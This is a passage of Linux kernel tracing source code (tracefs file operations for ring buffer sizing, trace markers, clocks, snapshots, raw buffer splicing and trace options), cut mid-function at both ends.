*tr = inode->i_private; unsigned long val; int ret; ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; /* must have at least 1 entry */ if (!val) return -EINVAL; /* value is in KB */ val <<= 10; ret = tracing_resize_ring_buffer(tr, val, tracing_get_cpu(inode)); if (ret < 0) return ret; *ppos += cnt; return cnt; } static ssize_t tracing_total_entries_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_array *tr = filp->private_data; char buf[64]; int r, cpu; unsigned long size = 0, expanded_size = 0; mutex_lock(&trace_types_lock); for_each_tracing_cpu(cpu) { size += per_cpu_ptr(tr->trace_buffer.data, cpu)->entries >> 10; if (!ring_buffer_expanded) expanded_size += trace_buf_size >> 10; } if (ring_buffer_expanded) r = sprintf(buf, "%lu\n", size); else r = sprintf(buf, "%lu (expanded: %lu)\n", size, expanded_size); mutex_unlock(&trace_types_lock); return simple_read_from_buffer(ubuf, cnt, ppos, buf, r); } static ssize_t tracing_free_buffer_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { /* * There is no need to read what the user has written, this function * is just to make sure that there is no error when "echo" is used */ *ppos += cnt; return cnt; } static int tracing_free_buffer_release(struct inode *inode, struct file *filp) { struct trace_array *tr = inode->i_private; /* disable tracing ? */ if (tr->trace_flags & TRACE_ITER_STOP_ON_FREE) tracer_tracing_off(tr); /* resize the ring buffer to 0 */ tracing_resize_ring_buffer(tr, 0, RING_BUFFER_ALL_CPUS); trace_array_put(tr); return 0; } static ssize_t tracing_mark_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *fpos) { struct trace_array *tr = filp->private_data; struct ring_buffer_event *event; enum event_trigger_type tt = ETT_NONE; struct ring_buffer *buffer; struct print_entry *entry; unsigned long irq_flags; const char faulted[] = "<faulted>"; ssize_t written; int size; int len; /* Used in tracing_mark_raw_write() as well */ #define FAULTED_SIZE (sizeof(faulted) - 1) /* '\0' is already accounted for */ if (tracing_disabled) return -EINVAL; if (!(tr->trace_flags & TRACE_ITER_MARKERS)) return -EINVAL; if (cnt > TRACE_BUF_SIZE) cnt = TRACE_BUF_SIZE; BUILD_BUG_ON(TRACE_BUF_SIZE >= PAGE_SIZE); local_save_flags(irq_flags); size = sizeof(*entry) + cnt + 2; /* add '\0' and possible '\n' */ /* If less than "<faulted>", then make sure we can still add that */ if (cnt < FAULTED_SIZE) size += FAULTED_SIZE - cnt; buffer = tr->trace_buffer.buffer; event = __trace_buffer_lock_reserve(buffer, TRACE_PRINT, size, irq_flags, preempt_count()); if (unlikely(!event)) /* Ring buffer disabled, return as if not open for write */ return -EBADF; entry = ring_buffer_event_data(event); entry->ip = _THIS_IP_; len = __copy_from_user_inatomic(&entry->buf, ubuf, cnt); if (len) { memcpy(&entry->buf, faulted, FAULTED_SIZE); cnt = FAULTED_SIZE; written = -EFAULT; } else written = cnt; len = cnt; if (tr->trace_marker_file && !list_empty(&tr->trace_marker_file->triggers)) { /* do not add \n before testing triggers, but add \0 */ entry->buf[cnt] = '\0'; tt = event_triggers_call(tr->trace_marker_file, entry, event); } if (entry->buf[cnt - 1] != '\n') { entry->buf[cnt] = '\n'; entry->buf[cnt + 1] = '\0'; } else entry->buf[cnt] = '\0'; __buffer_unlock_commit(buffer, event); if (tt) event_triggers_post_call(tr->trace_marker_file, tt); if (written > 0) *fpos += written; return written; } /* Limit it for now to 3K (including tag) */ #define RAW_DATA_MAX_SIZE (1024*3) static ssize_t tracing_mark_raw_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *fpos) { struct trace_array *tr = filp->private_data; struct ring_buffer_event *event; struct ring_buffer *buffer; struct raw_data_entry *entry; const char faulted[] = "<faulted>"; unsigned long irq_flags; ssize_t written; int size; int len; #define FAULT_SIZE_ID (FAULTED_SIZE + sizeof(int)) if (tracing_disabled) return -EINVAL; if (!(tr->trace_flags & TRACE_ITER_MARKERS)) return -EINVAL; /* The marker must at least have a tag id */ if (cnt < sizeof(unsigned int) || cnt > RAW_DATA_MAX_SIZE) return -EINVAL; if (cnt > TRACE_BUF_SIZE) cnt = TRACE_BUF_SIZE; BUILD_BUG_ON(TRACE_BUF_SIZE >= PAGE_SIZE); local_save_flags(irq_flags); size = sizeof(*entry) + cnt; if (cnt < FAULT_SIZE_ID) size += FAULT_SIZE_ID - cnt; buffer = tr->trace_buffer.buffer; event = __trace_buffer_lock_reserve(buffer, TRACE_RAW_DATA, size, irq_flags, preempt_count()); if (!event) /* Ring buffer disabled, return as if not open for write */ return -EBADF; entry = ring_buffer_event_data(event); len = __copy_from_user_inatomic(&entry->id, ubuf, cnt); if (len) { entry->id = -1; memcpy(&entry->buf, faulted, FAULTED_SIZE); written = -EFAULT; } else written = cnt; __buffer_unlock_commit(buffer, event); if (written > 0) *fpos += written; return written; } static int tracing_clock_show(struct seq_file *m, void *v) { struct trace_array *tr = m->private; int i; for (i = 0; i < ARRAY_SIZE(trace_clocks); i++) seq_printf(m, "%s%s%s%s", i ? " " : "", i == tr->clock_id ? "[" : "", trace_clocks[i].name, i == tr->clock_id ? "]" : ""); seq_putc(m, '\n'); return 0; } int tracing_set_clock(struct trace_array *tr, const char *clockstr) { int i; for (i = 0; i < ARRAY_SIZE(trace_clocks); i++) { if (strcmp(trace_clocks[i].name, clockstr) == 0) break; } if (i == ARRAY_SIZE(trace_clocks)) return -EINVAL; mutex_lock(&trace_types_lock); tr->clock_id = i; ring_buffer_set_clock(tr->trace_buffer.buffer, trace_clocks[i].func); /* * New clock may not be consistent with the previous clock. * Reset the buffer so that it doesn't have incomparable timestamps. */ tracing_reset_online_cpus(&tr->trace_buffer); #ifdef CONFIG_TRACER_MAX_TRACE if (tr->max_buffer.buffer) ring_buffer_set_clock(tr->max_buffer.buffer, trace_clocks[i].func); tracing_reset_online_cpus(&tr->max_buffer); #endif mutex_unlock(&trace_types_lock); return 0; } static ssize_t tracing_clock_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *fpos) { struct seq_file *m = filp->private_data; struct trace_array *tr = m->private; char buf[64]; const char *clockstr; int ret; if (cnt >= sizeof(buf)) return -EINVAL; if (copy_from_user(buf, ubuf, cnt)) return -EFAULT; buf[cnt] = 0; clockstr = strstrip(buf); ret = tracing_set_clock(tr, clockstr); if (ret) return ret; *fpos += cnt; return cnt; } static int tracing_clock_open(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; int ret; if (tracing_disabled) return -ENODEV; if (trace_array_get(tr)) return -ENODEV; ret = single_open(file, tracing_clock_show, inode->i_private); if (ret < 0) trace_array_put(tr); return ret; } static int tracing_time_stamp_mode_show(struct seq_file *m, void *v) { struct trace_array *tr = m->private; mutex_lock(&trace_types_lock); if (ring_buffer_time_stamp_abs(tr->trace_buffer.buffer)) seq_puts(m, "delta [absolute]\n"); else seq_puts(m, "[delta] absolute\n"); mutex_unlock(&trace_types_lock); return 0; } static int tracing_time_stamp_mode_open(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; int ret; if (tracing_disabled) return -ENODEV; if (trace_array_get(tr)) return -ENODEV; ret = single_open(file, tracing_time_stamp_mode_show, inode->i_private); if (ret < 0) trace_array_put(tr); return ret; } int tracing_set_time_stamp_abs(struct trace_array *tr, bool abs) { int ret = 0; mutex_lock(&trace_types_lock); if (abs && tr->time_stamp_abs_ref++) goto out; if (!abs) { if (WARN_ON_ONCE(!tr->time_stamp_abs_ref)) { ret = -EINVAL; goto out; } if (--tr->time_stamp_abs_ref) goto out; } ring_buffer_set_time_stamp_abs(tr->trace_buffer.buffer, abs); #ifdef CONFIG_TRACER_MAX_TRACE if (tr->max_buffer.buffer) ring_buffer_set_time_stamp_abs(tr->max_buffer.buffer, abs); #endif out: mutex_unlock(&trace_types_lock); return ret; } struct ftrace_buffer_info { struct trace_iterator iter; void *spare; unsigned int spare_cpu; unsigned int read; }; #ifdef CONFIG_TRACER_SNAPSHOT static int tracing_snapshot_open(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; struct trace_iterator *iter; struct seq_file *m; int ret = 0; if (trace_array_get(tr) < 0) return -ENODEV; if (file->f_mode & FMODE_READ) { iter = __tracing_open(inode, file, true); if (IS_ERR(iter)) ret = PTR_ERR(iter); } else { /* Writes still need the seq_file to hold the private data */ ret = -ENOMEM; m = kzalloc(sizeof(*m), GFP_KERNEL); if (!m) goto out; iter = kzalloc(sizeof(*iter), GFP_KERNEL); if (!iter) { kfree(m); goto out; } ret = 0; iter->tr = tr; iter->trace_buffer = &tr->max_buffer; iter->cpu_file = tracing_get_cpu(inode); m->private = iter; file->private_data = m; } out: if (ret < 0) trace_array_put(tr); return ret; } static ssize_t tracing_snapshot_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct seq_file *m = filp->private_data; struct trace_iterator *iter = m->private; struct trace_array *tr = iter->tr; unsigned long val; int ret; ret = tracing_update_buffers(); if (ret < 0) return ret; ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; mutex_lock(&trace_types_lock); if (tr->current_trace->use_max_tr) { ret = -EBUSY; goto out; } switch (val) { case 0: if (iter->cpu_file != RING_BUFFER_ALL_CPUS) { ret = -EINVAL; break; } if (tr->allocated_snapshot) free_snapshot(tr); break; case 1: /* Only allow per-cpu swap if the ring buffer supports it */ #ifndef CONFIG_RING_BUFFER_ALLOW_SWAP if (iter->cpu_file != RING_BUFFER_ALL_CPUS) { ret = -EINVAL; break; } #endif if (!tr->allocated_snapshot) { ret = tracing_alloc_snapshot_instance(tr); if (ret < 0) break; } local_irq_disable(); /* Now, we're going to swap */ if (iter->cpu_file == RING_BUFFER_ALL_CPUS) update_max_tr(tr, current, smp_processor_id()); else update_max_tr_single(tr, current, iter->cpu_file); local_irq_enable(); break; default: if (tr->allocated_snapshot) { if (iter->cpu_file == RING_BUFFER_ALL_CPUS) tracing_reset_online_cpus(&tr->max_buffer); else tracing_reset(&tr->max_buffer, iter->cpu_file); } break; } if (ret >= 0) { *ppos += cnt; ret = cnt; } out: mutex_unlock(&trace_types_lock); return ret; } static int tracing_snapshot_release(struct inode *inode, struct file *file) { struct seq_file *m = file->private_data; int ret; ret = tracing_release(inode, file); if (file->f_mode & FMODE_READ) return ret; /* If write only, the seq_file is just a stub */ if (m) kfree(m->private); kfree(m); return 0; } static int tracing_buffers_open(struct inode *inode, struct file *filp); static ssize_t tracing_buffers_read(struct file *filp, char __user *ubuf, size_t count, loff_t *ppos); static int tracing_buffers_release(struct inode *inode, struct file *file); static ssize_t tracing_buffers_splice_read(struct file *file, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags); static int snapshot_raw_open(struct inode *inode, struct file *filp) { struct ftrace_buffer_info *info; int ret; ret = tracing_buffers_open(inode, filp); if (ret < 0) return ret; info = filp->private_data; if (info->iter.trace->use_max_tr) { tracing_buffers_release(inode, filp); return -EBUSY; } info->iter.snapshot = true; info->iter.trace_buffer = &info->iter.tr->max_buffer; return ret; } #endif /* CONFIG_TRACER_SNAPSHOT */ static const struct file_operations tracing_thresh_fops = { .open = tracing_open_generic, .read = tracing_thresh_read, .write = tracing_thresh_write, .llseek = generic_file_llseek, }; #if defined(CONFIG_TRACER_MAX_TRACE) || defined(CONFIG_HWLAT_TRACER) static const struct file_operations tracing_max_lat_fops = { .open = tracing_open_generic, .read = tracing_max_lat_read, .write = tracing_max_lat_write, .llseek = generic_file_llseek, }; #endif static const struct file_operations set_tracer_fops = { .open = tracing_open_generic, .read = tracing_set_trace_read, .write = tracing_set_trace_write, .llseek = generic_file_llseek, }; static const struct file_operations tracing_pipe_fops = { .open = tracing_open_pipe, .poll = tracing_poll_pipe, .read = tracing_read_pipe, .splice_read = tracing_splice_read_pipe, .release = tracing_release_pipe, .llseek = no_llseek, }; static const struct file_operations tracing_entries_fops = { .open = tracing_open_generic_tr, .read = tracing_entries_read, .write = tracing_entries_write, .llseek = generic_file_llseek, .release = tracing_release_generic_tr, }; static const struct file_operations tracing_total_entries_fops = { .open = tracing_open_generic_tr, .read = tracing_total_entries_read, .llseek = generic_file_llseek, .release = tracing_release_generic_tr, }; static const struct file_operations tracing_free_buffer_fops = { .open = tracing_open_generic_tr, .write = tracing_free_buffer_write, .release = tracing_free_buffer_release, }; static const struct file_operations tracing_mark_fops = { .open = tracing_open_generic_tr, .write = tracing_mark_write, .llseek = generic_file_llseek, .release = tracing_release_generic_tr, }; static const struct file_operations tracing_mark_raw_fops = { .open = tracing_open_generic_tr, .write = tracing_mark_raw_write, .llseek = generic_file_llseek, .release = tracing_release_generic_tr, }; static const struct file_operations trace_clock_fops = { .open = tracing_clock_open, .read = seq_read, .llseek = seq_lseek, .release = tracing_single_release_tr, .write = tracing_clock_write, }; static const struct file_operations trace_time_stamp_mode_fops = { .open = tracing_time_stamp_mode_open, .read = seq_read, .llseek = seq_lseek, .release = tracing_single_release_tr, }; #ifdef CONFIG_TRACER_SNAPSHOT static const struct file_operations snapshot_fops = { .open = tracing_snapshot_open, .read = seq_read, .write = tracing_snapshot_write, .llseek = tracing_lseek, .release = tracing_snapshot_release, }; static const struct file_operations snapshot_raw_fops = { .open = snapshot_raw_open, .read = tracing_buffers_read, .release = tracing_buffers_release, .splice_read = tracing_buffers_splice_read, .llseek = no_llseek, }; #endif /* CONFIG_TRACER_SNAPSHOT */ static int tracing_buffers_open(struct inode *inode, struct file *filp) { struct trace_array *tr = inode->i_private; struct ftrace_buffer_info *info; int ret; if (tracing_disabled) return -ENODEV; if (trace_array_get(tr) < 0) return -ENODEV; info = kzalloc(sizeof(*info), GFP_KERNEL); if (!info) { trace_array_put(tr); return -ENOMEM; } mutex_lock(&trace_types_lock); info->iter.tr = tr; info->iter.cpu_file = tracing_get_cpu(inode); info->iter.trace = tr->current_trace; info->iter.trace_buffer = &tr->trace_buffer; info->spare = NULL; /* Force reading ring buffer for first read */ info->read = (unsigned int)-1; filp->private_data = info; tr->current_trace->ref++; mutex_unlock(&trace_types_lock); ret = nonseekable_open(inode, filp); if (ret < 0) trace_array_put(tr); return ret; } static __poll_t tracing_buffers_poll(struct file *filp, poll_table *poll_table) { struct ftrace_buffer_info *info = filp->private_data; struct trace_iterator *iter = &info->iter; return trace_poll(iter, filp, poll_table); } static ssize_t tracing_buffers_read(struct file *filp, char __user *ubuf, size_t count, loff_t *ppos) { struct ftrace_buffer_info *info = filp->private_data; struct trace_iterator *iter = &info->iter; ssize_t ret = 0; ssize_t size; if (!count) return 0; #ifdef CONFIG_TRACER_MAX_TRACE if (iter->snapshot && iter->tr->current_trace->use_max_tr) return -EBUSY; #endif if (!info->spare) { info->spare = ring_buffer_alloc_read_page(iter->trace_buffer->buffer, iter->cpu_file); if (IS_ERR(info->spare)) { ret = PTR_ERR(info->spare); info->spare = NULL; } else { info->spare_cpu = iter->cpu_file; } } if (!info->spare) return ret; /* Do we have previous read data to read? */ if (info->read < PAGE_SIZE) goto read; again: trace_access_lock(iter->cpu_file); ret = ring_buffer_read_page(iter->trace_buffer->buffer, &info->spare, count, iter->cpu_file, 0); trace_access_unlock(iter->cpu_file); if (ret < 0) { if (trace_empty(iter)) { if ((filp->f_flags & O_NONBLOCK)) return -EAGAIN; ret = wait_on_pipe(iter, false); if (ret) return ret; goto again; } return 0; } info->read = 0; read: size = PAGE_SIZE - info->read; if (size > count) size = count; ret = copy_to_user(ubuf, info->spare + info->read, size); if (ret == size) return -EFAULT; size -= ret; *ppos += size; info->read += size; return size; } static int tracing_buffers_release(struct inode *inode, struct file *file) { struct ftrace_buffer_info *info = file->private_data; struct trace_iterator *iter = &info->iter; mutex_lock(&trace_types_lock); iter->tr->current_trace->ref--; __trace_array_put(iter->tr); if (info->spare) ring_buffer_free_read_page(iter->trace_buffer->buffer, info->spare_cpu, info->spare); kfree(info); mutex_unlock(&trace_types_lock); return 0; } struct buffer_ref { struct ring_buffer *buffer; void *page; int cpu; int ref; }; static void buffer_pipe_buf_release(struct pipe_inode_info *pipe, struct pipe_buffer *buf) { struct buffer_ref *ref = (struct buffer_ref *)buf->private; if (--ref->ref) return; ring_buffer_free_read_page(ref->buffer, ref->cpu, ref->page); kfree(ref); buf->private = 0; } static void buffer_pipe_buf_get(struct pipe_inode_info *pipe, struct pipe_buffer *buf) { struct buffer_ref *ref = (struct buffer_ref *)buf->private; ref->ref++; } /* Pipe buffer operations for a buffer. */ static const struct pipe_buf_operations buffer_pipe_buf_ops = { .can_merge = 0, .confirm = generic_pipe_buf_confirm, .release = buffer_pipe_buf_release, .steal = generic_pipe_buf_steal, .get = buffer_pipe_buf_get, }; /* * Callback from splice_to_pipe(), if we need to release some pages * at the end of the spd in case we error'ed out in filling the pipe. */ static void buffer_spd_release(struct splice_pipe_desc *spd, unsigned int i) { struct buffer_ref *ref = (struct buffer_ref *)spd->partial[i].private; if (--ref->ref) return; ring_buffer_free_read_page(ref->buffer, ref->cpu, ref->page); kfree(ref); spd->partial[i].private = 0; } static ssize_t tracing_buffers_splice_read(struct file *file, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags) { struct ftrace_buffer_info *info = file->private_data; struct trace_iterator *iter = &info->iter; struct partial_page partial_def[PIPE_DEF_BUFFERS]; struct page *pages_def[PIPE_DEF_BUFFERS]; struct splice_pipe_desc spd = { .pages = pages_def, .partial = partial_def, .nr_pages_max = PIPE_DEF_BUFFERS, .ops = &buffer_pipe_buf_ops, .spd_release = buffer_spd_release, }; struct buffer_ref *ref; int entries, i; ssize_t ret = 0; #ifdef CONFIG_TRACER_MAX_TRACE if (iter->snapshot && iter->tr->current_trace->use_max_tr) return -EBUSY; #endif if (*ppos & (PAGE_SIZE - 1)) return -EINVAL; if (len & (PAGE_SIZE - 1)) { if (len < PAGE_SIZE) return -EINVAL; len &= PAGE_MASK; } if (splice_grow_spd(pipe, &spd)) return -ENOMEM; again: trace_access_lock(iter->cpu_file); entries = ring_buffer_entries_cpu(iter->trace_buffer->buffer, iter->cpu_file); for (i = 0; i < spd.nr_pages_max && len && entries; i++, len -= PAGE_SIZE) { struct page *page; int r; ref = kzalloc(sizeof(*ref), GFP_KERNEL); if (!ref) { ret = -ENOMEM; break; } ref->ref = 1; ref->buffer = iter->trace_buffer->buffer; ref->page = ring_buffer_alloc_read_page(ref->buffer, iter->cpu_file); if (IS_ERR(ref->page)) { ret = PTR_ERR(ref->page); ref->page = NULL; kfree(ref); break; } ref->cpu = iter->cpu_file; r = ring_buffer_read_page(ref->buffer, &ref->page, len, iter->cpu_file, 1); if (r < 0) { ring_buffer_free_read_page(ref->buffer, ref->cpu, ref->page); kfree(ref); break; } page = virt_to_page(ref->page); spd.pages[i] = page; spd.partial[i].len = PAGE_SIZE; spd.partial[i].offset = 0; spd.partial[i].private = (unsigned long)ref; spd.nr_pages++; *ppos += PAGE_SIZE; entries = ring_buffer_entries_cpu(iter->trace_buffer->buffer, iter->cpu_file); } trace_access_unlock(iter->cpu_file); spd.nr_pages = i; /* did we read anything? */ if (!spd.nr_pages) { if (ret) goto out; ret = -EAGAIN; if ((file->f_flags & O_NONBLOCK) || (flags & SPLICE_F_NONBLOCK)) goto out; ret = wait_on_pipe(iter, true); if (ret) goto out; goto again; } ret = splice_to_pipe(pipe, &spd); out: splice_shrink_spd(&spd); return ret; } static const struct file_operations tracing_buffers_fops = { .open = tracing_buffers_open, .read = tracing_buffers_read, .poll = tracing_buffers_poll, .release = tracing_buffers_release, .splice_read = tracing_buffers_splice_read, .llseek = no_llseek, }; static ssize_t tracing_stats_read(struct file *filp, char __user *ubuf, size_t count, loff_t *ppos) { struct inode *inode = file_inode(filp); struct trace_array *tr = inode->i_private; struct trace_buffer *trace_buf = &tr->trace_buffer; int cpu = tracing_get_cpu(inode); struct trace_seq *s; unsigned long cnt; unsigned long long t; unsigned long usec_rem; s = kmalloc(sizeof(*s), GFP_KERNEL); if (!s) return -ENOMEM; trace_seq_init(s); cnt = ring_buffer_entries_cpu(trace_buf->buffer, cpu); trace_seq_printf(s, "entries: %ld\n", cnt); cnt = ring_buffer_overrun_cpu(trace_buf->buffer, cpu); trace_seq_printf(s, "overrun: %ld\n", cnt); cnt = ring_buffer_commit_overrun_cpu(trace_buf->buffer, cpu); trace_seq_printf(s, "commit overrun: %ld\n", cnt); cnt = ring_buffer_bytes_cpu(trace_buf->buffer, cpu); trace_seq_printf(s, "bytes: %ld\n", cnt); if (trace_clocks[tr->clock_id].in_ns) { /* local or global for trace_clock */ t = ns2usecs(ring_buffer_oldest_event_ts(trace_buf->buffer, cpu)); usec_rem = do_div(t, USEC_PER_SEC); trace_seq_printf(s, "oldest event ts: %5llu.%06lu\n", t, usec_rem); t = ns2usecs(ring_buffer_time_stamp(trace_buf->buffer, cpu)); usec_rem = do_div(t, USEC_PER_SEC); trace_seq_printf(s, "now ts: %5llu.%06lu\n", t, usec_rem); } else { /* counter or tsc mode for trace_clock */ trace_seq_printf(s, "oldest event ts: %llu\n", ring_buffer_oldest_event_ts(trace_buf->buffer, cpu)); trace_seq_printf(s, "now ts: %llu\n", ring_buffer_time_stamp(trace_buf->buffer, cpu)); } cnt = ring_buffer_dropped_events_cpu(trace_buf->buffer, cpu); trace_seq_printf(s, "dropped events: %ld\n", cnt); cnt = ring_buffer_read_events_cpu(trace_buf->buffer, cpu); trace_seq_printf(s, "read events: %ld\n", cnt); count = simple_read_from_buffer(ubuf, count, ppos, s->buffer, trace_seq_used(s)); kfree(s); return count; } static const struct file_operations tracing_stats_fops = { .open = tracing_open_generic_tr, .read = tracing_stats_read, .llseek = generic_file_llseek, .release = tracing_release_generic_tr, }; #ifdef CONFIG_DYNAMIC_FTRACE static ssize_t tracing_read_dyn_info(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { unsigned long *p = filp->private_data; char buf[64]; /* Not too big for a shallow stack */ int r; r = scnprintf(buf, 63, "%ld", *p); buf[r++] = '\n'; return simple_read_from_buffer(ubuf, cnt, ppos, buf, r); } static const struct file_operations tracing_dyn_info_fops = { .open = tracing_open_generic, .read = tracing_read_dyn_info, .llseek = generic_file_llseek, }; #endif /* CONFIG_DYNAMIC_FTRACE */ #if defined(CONFIG_TRACER_SNAPSHOT) && defined(CONFIG_DYNAMIC_FTRACE) static void ftrace_snapshot(unsigned long ip, unsigned long parent_ip, struct trace_array *tr, struct ftrace_probe_ops *ops, void *data) { tracing_snapshot_instance(tr); } static void ftrace_count_snapshot(unsigned long ip, unsigned long parent_ip, struct trace_array *tr, struct ftrace_probe_ops *ops, void *data) { struct ftrace_func_mapper *mapper = data; long *count = NULL; if (mapper) count = (long *)ftrace_func_mapper_find_ip(mapper, ip); if (count) { if (*count <= 0) return; (*count)--; } tracing_snapshot_instance(tr); } static int ftrace_snapshot_print(struct seq_file *m, unsigned long ip, struct ftrace_probe_ops *ops, void *data) { struct ftrace_func_mapper *mapper = data; long *count = NULL; seq_printf(m, "%ps:", (void *)ip); seq_puts(m, "snapshot"); if (mapper) count = (long *)ftrace_func_mapper_find_ip(mapper, ip); if (count) seq_printf(m, ":count=%ld\n", *count); else seq_puts(m, ":unlimited\n"); return 0; } static int ftrace_snapshot_init(struct ftrace_probe_ops *ops, struct trace_array *tr, unsigned long ip, void *init_data, void **data) { struct ftrace_func_mapper *mapper = *data; if (!mapper) { mapper = allocate_ftrace_func_mapper(); if (!mapper) return -ENOMEM; *data = mapper; } return ftrace_func_mapper_add_ip(mapper, ip, init_data); } static void ftrace_snapshot_free(struct ftrace_probe_ops *ops, struct trace_array *tr, unsigned long ip, void *data) { struct ftrace_func_mapper *mapper = data; if (!ip) { if (!mapper) return; free_ftrace_func_mapper(mapper, NULL); return; } ftrace_func_mapper_remove_ip(mapper, ip); } static struct ftrace_probe_ops snapshot_probe_ops = { .func = ftrace_snapshot, .print = ftrace_snapshot_print, }; static struct ftrace_probe_ops snapshot_count_probe_ops = { .func = ftrace_count_snapshot, .print = ftrace_snapshot_print, .init = ftrace_snapshot_init, .free = ftrace_snapshot_free, }; static int ftrace_trace_snapshot_callback(struct trace_array *tr, struct ftrace_hash *hash, char *glob, char *cmd, char *param, int enable) { struct ftrace_probe_ops *ops; void *count = (void *)-1; char *number; int ret; if (!tr) return -ENODEV; /* hash funcs only work with set_ftrace_filter */ if (!enable) return -EINVAL; ops = param ? &snapshot_count_probe_ops : &snapshot_probe_ops; if (glob[0] == '!') return unregister_ftrace_function_probe_func(glob+1, tr, ops); if (!param) goto out_reg; number = strsep(&param, ":"); if (!strlen(number)) goto out_reg; /* * We use the callback data field (which is a pointer) * as our counter. */ ret = kstrtoul(number, 0, (unsigned long *)&count); if (ret) return ret; out_reg: ret = tracing_alloc_snapshot_instance(tr); if (ret < 0) goto out; ret = register_ftrace_function_probe(glob, tr, ops, count); out: return ret < 0 ? ret : 0; } static struct ftrace_func_command ftrace_snapshot_cmd = { .name = "snapshot", .func = ftrace_trace_snapshot_callback, }; static __init int register_snapshot_cmd(void) { return register_ftrace_command(&ftrace_snapshot_cmd); } #else static inline __init int register_snapshot_cmd(void) { return 0; } #endif /* defined(CONFIG_TRACER_SNAPSHOT) && defined(CONFIG_DYNAMIC_FTRACE) */ static struct dentry *tracing_get_dentry(struct trace_array *tr) { if (WARN_ON(!tr->dir)) return ERR_PTR(-ENODEV); /* Top directory uses NULL as the parent */ if (tr->flags & TRACE_ARRAY_FL_GLOBAL) return NULL; /* All sub buffers have a descriptor */ return tr->dir; } static struct dentry *tracing_dentry_percpu(struct trace_array *tr, int cpu) { struct dentry *d_tracer; if (tr->percpu_dir) return tr->percpu_dir; d_tracer = tracing_get_dentry(tr); if (IS_ERR(d_tracer)) return NULL; tr->percpu_dir = tracefs_create_dir("per_cpu", d_tracer); WARN_ONCE(!tr->percpu_dir, "Could not create tracefs directory 'per_cpu/%d'\n", cpu); return tr->percpu_dir; } static struct dentry * trace_create_cpu_file(const char *name, umode_t mode, struct dentry *parent, void *data, long cpu, const struct file_operations *fops) { struct dentry *ret = trace_create_file(name, mode, parent, data, fops); if (ret) /* See tracing_get_cpu() */ d_inode(ret)->i_cdev = (void *)(cpu + 1); return ret; } static void tracing_init_tracefs_percpu(struct trace_array *tr, long cpu) { struct dentry *d_percpu = tracing_dentry_percpu(tr, cpu); struct dentry *d_cpu; char cpu_dir[30]; /* 30 characters should be more than enough */ if (!d_percpu) return; snprintf(cpu_dir, 30, "cpu%ld", cpu); d_cpu = tracefs_create_dir(cpu_dir, d_percpu); if (!d_cpu) { pr_warn("Could not create tracefs '%s' entry\n", cpu_dir); return; } /* per cpu trace_pipe */ trace_create_cpu_file("trace_pipe", 0444, d_cpu, tr, cpu, &tracing_pipe_fops); /* per cpu trace */ trace_create_cpu_file("trace", 0644, d_cpu, tr, cpu, &tracing_fops); trace_create_cpu_file("trace_pipe_raw", 0444, d_cpu, tr, cpu, &tracing_buffers_fops); trace_create_cpu_file("stats", 0444, d_cpu, tr, cpu, &tracing_stats_fops); trace_create_cpu_file("buffer_size_kb", 0444, d_cpu, tr, cpu, &tracing_entries_fops); #ifdef CONFIG_TRACER_SNAPSHOT trace_create_cpu_file("snapshot", 0644, d_cpu, tr, cpu, &snapshot_fops); trace_create_cpu_file("snapshot_raw", 0444, d_cpu, tr, cpu, &snapshot_raw_fops); #endif } #ifdef CONFIG_FTRACE_SELFTEST /* Let selftest have access to static functions in this file */ #include "trace_selftest.c" #endif static ssize_t trace_options_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_option_dentry *topt = filp->private_data; char *buf; if (topt->flags->val & topt->opt->bit) buf = "1\n"; else buf = "0\n"; return simple_read_from_buffer(ubuf, cnt, ppos, buf, 2); } static ssize_t trace_options_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_option_dentry *topt = filp->private_data; unsigned long val; int ret; ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; if (val != 0 && val != 1) return -EINVAL; if (!!(topt->flags->val & topt->opt->bit) != val) { mutex_lock(&trace_types_lock); ret = __set_tracer_option(topt->tr, topt->flags, topt->opt, !val); mutex_unlock(&trace_types_lock); if (ret) return ret; } *ppos += cnt; return cnt; } static const struct file_operations trace_options_fops = { .open = tracing_open_generic, .read = trace_options_read, .write = trace_options_write, .llseek = generic_file_llseek, }; /* * In order to pass in both the trace_array descriptor as well as the index * to the flag that the trace option file represents, the trace_array * has a character array of trace_flags_index[], which holds the index * of the bit for the flag it represents. index[0] == 0, index[1] == 1, etc. * The address of this character array is passed to the flag option file * read/write callbacks. * * In order to extract both the index and the trace_array descriptor, * get_tr_index() uses the following algorithm. * * idx = *ptr; * * As the pointer itself contains the address of the index (remember * index[1] == 1). * * Then to get the trace_array descriptor, by subtracting that index * from the ptr, we get to the start of the index itself. * * ptr - idx == &index[0] * * Then a simple container_of() from that pointer gets us to the * trace_array descriptor. */ static void get_tr_index(void *data, struct trace_array **ptr, unsigned int *pindex) { *pindex = *(unsigned char *)data; *ptr = container_of(data - *pindex, struct trace_array, trace_flags_index); } static ssize_t trace_options_core_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { void *tr_index = filp->private_data; struct trace_array *tr; unsigned int index; char *buf; get_tr_index(tr_index, &tr, &index); if (tr->trace_flags & (1 << index)) buf = "1\n"; else buf = "0\n"; return simple_read_from_buffer(ubuf, cnt, ppos, buf, 2); } static ssize_t trace_options_core_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { void *tr_index = filp->private_data; struct trace_array *tr; unsigned int index; unsigned long val; int ret; get_tr_index(tr_index, &tr, &index); ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; if (val != 0 && val != 1) return -EINVAL; mutex_lock(&trace_types_lock); ret = set_tracer_flag(tr, 1 << index, val); mutex_unlock(&trace_types_lock); if (ret < 0) return 